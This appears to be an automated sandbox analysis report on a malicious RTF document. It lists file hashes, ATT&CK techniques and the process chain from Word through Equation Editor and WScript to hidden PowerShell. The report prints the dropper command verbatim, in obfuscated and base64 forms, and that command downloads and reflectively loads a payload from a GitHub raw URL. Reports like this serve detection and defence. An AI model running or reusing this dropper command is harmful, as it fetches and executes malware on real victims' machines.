85ed27cc2b2264295dfc90a985944887053ffe9a79894914ea7f69e6a7de42e2

General

Target

33083e3d8cad434bfff8cdb97032babe.rtf
Size

75KB
MD5

33083e3d8cad434bfff8cdb97032babe
SHA1

9defb395eda345c770a559ba6c46cba8226c2974
SHA256

85ed27cc2b2264295dfc90a985944887053ffe9a79894914ea7f69e6a7de42e2
SHA512

3750b71501d7412725484c72203a6440647e479fc43991199a2dfb5a4c0c5223ca9858864504d388fec1bbf94c539a1f2bcd56275698803f81bd4301e32ecf6a
SSDEEP

384:+uNWTVICMS5DryYNfvw5vV8Sj7OYqsg4ozn67fT5PfSsMnCbh03MNyC0DAgqh5Ji:XMyGw5vV8fYq3pz6T5SBnC903P0gwtt8

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt

exe.dropper

https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
4	2920	EQNEDT32.EXE
6	2632	powershell.exe
7	2632	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2892	powershell.exe
2632	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
6	raw.githubusercontent.com
7	raw.githubusercontent.com
5	raw.githubusercontent.com

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EQNEDT32.EXE

Office loads VBA resources, possible macro or embedded object present

Launches Equation Editor 1 TTPs 1 IoCs

Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

exploit

Exploitation for Client Execution

T1203

pid	Process
2920	EQNEDT32.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2340	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2892	powershell.exe
2632	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2892	powershell.exe
Token: SeDebugPrivilege	2632	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2340	WINWORD.EXE
2340	WINWORD.EXE

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 2920 wrote to memory of 2752	2920	EQNEDT32.EXE	32
PID 2920 wrote to memory of 2752	2920	EQNEDT32.EXE	32
PID 2920 wrote to memory of 2752	2920	EQNEDT32.EXE	32
PID 2920 wrote to memory of 2752	2920	EQNEDT32.EXE	32
PID 2752 wrote to memory of 2892	2752	WScript.exe	34
PID 2752 wrote to memory of 2892	2752	WScript.exe	34
PID 2752 wrote to memory of 2892	2752	WScript.exe	34
PID 2752 wrote to memory of 2892	2752	WScript.exe	34
PID 2892 wrote to memory of 2632	2892	powershell.exe	36
PID 2892 wrote to memory of 2632	2892	powershell.exe	36
PID 2892 wrote to memory of 2632	2892	powershell.exe	36
PID 2892 wrote to memory of 2632	2892	powershell.exe	36
PID 2340 wrote to memory of 2912	2340	WINWORD.EXE	37
PID 2340 wrote to memory of 2912	2340	WINWORD.EXE	37
PID 2340 wrote to memory of 2912	2340	WINWORD.EXE	37
PID 2340 wrote to memory of 2912	2340	WINWORD.EXE	37

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\33083e3d8cad434bfff8cdb97032babe.rtf"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2340
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2912

C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
1⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
PID:2920
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\picturegreatwithmeenterings.Vbs"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2752
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnSk5IdXJsJysnID0gdlhzaHQnKyd0JysncHM6Ly9yYXcuZ2l0aHVidXNlJysncmNvbnRlbnQuY28nKydtJysnL05vRGV0ZWN0JysnT24nKycvTm8nKydEZXRlY3RPbi9yZWZzL2hlYWRzL21haW4vRCcrJ2V0YWgnKydOb3RoLVYuJysndHgnKyd0dlhzOyBKTkhiYXMnKydlNjRDbycrJ24nKyd0ZW50JysnID0nKycgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XJysnZWJDbCcrJ2llbnQpLkRvJysnd25sbycrJ2FkU3RyaW5nKCcrJ0pOSHVybCk7IEpOSGJpbmFyJysneUMnKydvbicrJ3RlbnQgPSBbU3lzdGVtLkNvbnYnKydlcicrJ3RdOjpGcm8nKydtQmFzZTY0U3RyJysnaW5nKEpOSGJhc2U2JysnNENvbnRlbnQpOyAnKydKJysnTkhhc3NlJysnbWJseSAnKyc9ICcrJ1tSZScrJ2ZsZWMnKyd0aScrJ29uJysnLkFzcycrJ2VtYmx5XScrJzo6TG9hZChKTkgnKydiaW5hcnknKydDb250ZW50KScrJzsgJysnW2RubGknKydiLicrJ0knKydPLkhvbWVdOjpWJysnQUkoRnN6dHgnKyd0LkNCQk5SLycrJzIyJysnMi81MjEuMjMuOCcrJzYxLicrJzQwJysnMS8vOnB0dGhGc3osIEYnKydzemRlc2EnKyd0JysnaXZhZG9Gc3osICcrJ0ZzemRlc2EnKyd0aXZhJysnZG9Gc3osIEZzeicrJ2Rlc2F0aXZhZG8nKydGc3osJysnICcrJ0ZzJysnelJlZ0FzbUZzeiwgRnMnKyd6RnN6LEZzekYnKydzeiknKSAgLWNSZXBMYWNFKFtjaEFyXTExOCtbY2hBcl04OCtbY2hBcl0xMTUpLFtjaEFyXTM5LWNSZXBMYWNFIChbY2hBcl03NCtbY2hBcl03OCtbY2hBcl03MiksW2NoQXJdMzYgLWNSZXBMYWNFICAnRnN6JyxbY2hBcl0zNCkgfCAuKCAkRU52OkNvTVNwRWNbNCwyNCwyNV0tak9JTicnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2892
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('JNHurl'+' = vXsht'+'t'+'ps://raw.githubuse'+'rcontent.co'+'m'+'/NoDetect'+'On'+'/No'+'DetectOn/refs/heads/main/D'+'etah'+'Noth-V.'+'tx'+'tvXs; JNHbas'+'e64Co'+'n'+'tent'+' ='+' (New-Object System.Net.W'+'ebCl'+'ient).Do'+'wnlo'+'adString('+'JNHurl); JNHbinar'+'yC'+'on'+'tent = [System.Conv'+'er'+'t]::Fro'+'mBase64Str'+'ing(JNHbase6'+'4Content); '+'J'+'NHasse'+'mbly '+'= '+'[Re'+'flec'+'ti'+'on'+'.Ass'+'embly]'+'::Load(JNH'+'binary'+'Content)'+'; '+'[dnli'+'b.'+'I'+'O.Home]::V'+'AI(Fsztx'+'t.CBBNR/'+'22'+'2/521.23.8'+'61.'+'40'+'1//:ptthFsz, F'+'szdesa'+'t'+'ivadoFsz, '+'Fszdesa'+'tiva'+'doFsz, Fsz'+'desativado'+'Fsz,'+' '+'Fs'+'zRegAsmFsz, Fs'+'zFsz,FszF'+'sz)') -cRepLacE([chAr]118+[chAr]88+[chAr]115),[chAr]39-cRepLacE ([chAr]74+[chAr]78+[chAr]72),[chAr]36 -cRepLacE 'Fsz',[chAr]34) | .( $ENv:CoMSpEc[4,24,25]-jOIN'')"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Drops file in System32 directory
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2632

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Exploitation for Client Execution

1

T1203

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
4bccf8480f472b72c55e1206fd163b67

SHA1
a00c9029a19ac54949ad5f67fe47ba67ef8f64a4

SHA256
7198ad32a8c3eac820dcbd65ba810e7a44f0080c616be93512393ed9b1b7f86a

SHA512
eb5b769a4763020792caf17a5a9cb2dd493439f4010a92acf15e48ba029436dd4371cfdc249578d9195599ab42db22c585d4545492c82cdf72cbfa44f827ba44

Download Submit
C:\Users\Admin\AppData\Roaming\picturegreatwithmeenterings.Vbs

Filesize
295KB

MD5
007afe1a2061ae137aca64fb3c7b9e9b

SHA1
965108b7ee5a55eb30b12ea1a352b1e49c3897e0

SHA256
8e4222077584ea49b2abfcf58c0192fa0d3d763f4c49f41f555e661bba2bba1d

SHA512
e973fd68f1ee43bc41220a214a486bed4b200fe3e116f011b93f00281cfce462d6af531bb5eb9b7f2c1038c91b4cbf77790efa660aa84d4e927bd802f010adcf

Download Submit
memory/2340-0-0x000000002F641000-0x000000002F642000-memory.dmp

Filesize
4KB

Download
memory/2340-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2340-2-0x0000000070AAD000-0x0000000070AB8000-memory.dmp

Filesize
44KB

Download
memory/2340-19-0x0000000070AAD000-0x0000000070AB8000-memory.dmp

Filesize
44KB

Download

Analysis

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